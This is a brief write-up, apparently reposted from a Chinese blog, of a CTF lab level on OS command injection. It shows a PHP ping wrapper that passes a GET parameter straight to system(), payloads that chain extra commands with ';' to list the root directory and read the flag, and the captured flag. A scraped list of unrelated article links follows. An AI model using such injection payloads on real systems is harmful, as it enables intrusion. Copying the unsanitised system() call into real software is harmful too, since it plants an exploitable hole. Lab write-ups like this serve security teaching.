当前位置: 首页 > news >正文

HelloCTF [RCE-labs] Level 4 - SHELL 运算符

开启靶场,打开链接:

源码很简单,system("ping -c 1 $ip");

GET传参ip


构造payload:

/?ip=127.0.0.1;ls /


/?ip=127.0.0.1;cat /flag

成功得到flag:

NSSCTF{04ad1d48-4530-481d-aa5d-8a153b0ebf2c}


http://www.mrgr.cn/news/60434.html

相关文章:

  • 太阳能面板分割系统:训练自动化
  • 分账系统适用于那些商家?
  • 【React】React 18:新特性与重大更新解析
  • 顺序表总结
  • (二十二)Java网络编程
  • PostgreSQL 约束
  • php字符过滤绕过方法
  • 越南有哪些主要的电商平台?越南电商什么品类比较畅销?
  • .NET Core WebApi第3讲:第一个WebApi项目、WebApi开发三种模型
  • 猎板pcb批量工厂1.5阶HDI板可直接投产
  • 【Linux】POSIX 消息队列
  • 无脑去除李贺epic注册机的三种方法
  • 最近爆火的新职业Prompt提示工程师到底是做什么的?迈向大模型第一步Prompt提示工程基础原理及实践
  • 蓝桥杯单片机STC15F2K60S2第十四届省赛代码详细讲解(附完整代码)
  • Ubuntu18.04安装velodyne驱动
  • AI-基本概念-CNN/RNN/注意力机制
  • Qt6切换音轨
  • 枫清科技仲光庆:AI+行业新范式,双轮驱动助力数智化升级
  • 【建造&机械】木材运输车辆检测系统源码&数据集全套:改进yolo11-GhostHGNetV2
  • SegNet DeconvNet——论文阅读
  • 院士领衔,瑞德磁电誓将中国红染遍磁电产业
  • 前端分页:非当前页进行表单验证
  • 802.1AS-2011_Gptp协议栈
  • 【动手学强化学习】part2-动态规划算法
  • Pytorch学习--DataLoader的使用
  • mabtisx突然不起作用:mapper跳转不到xml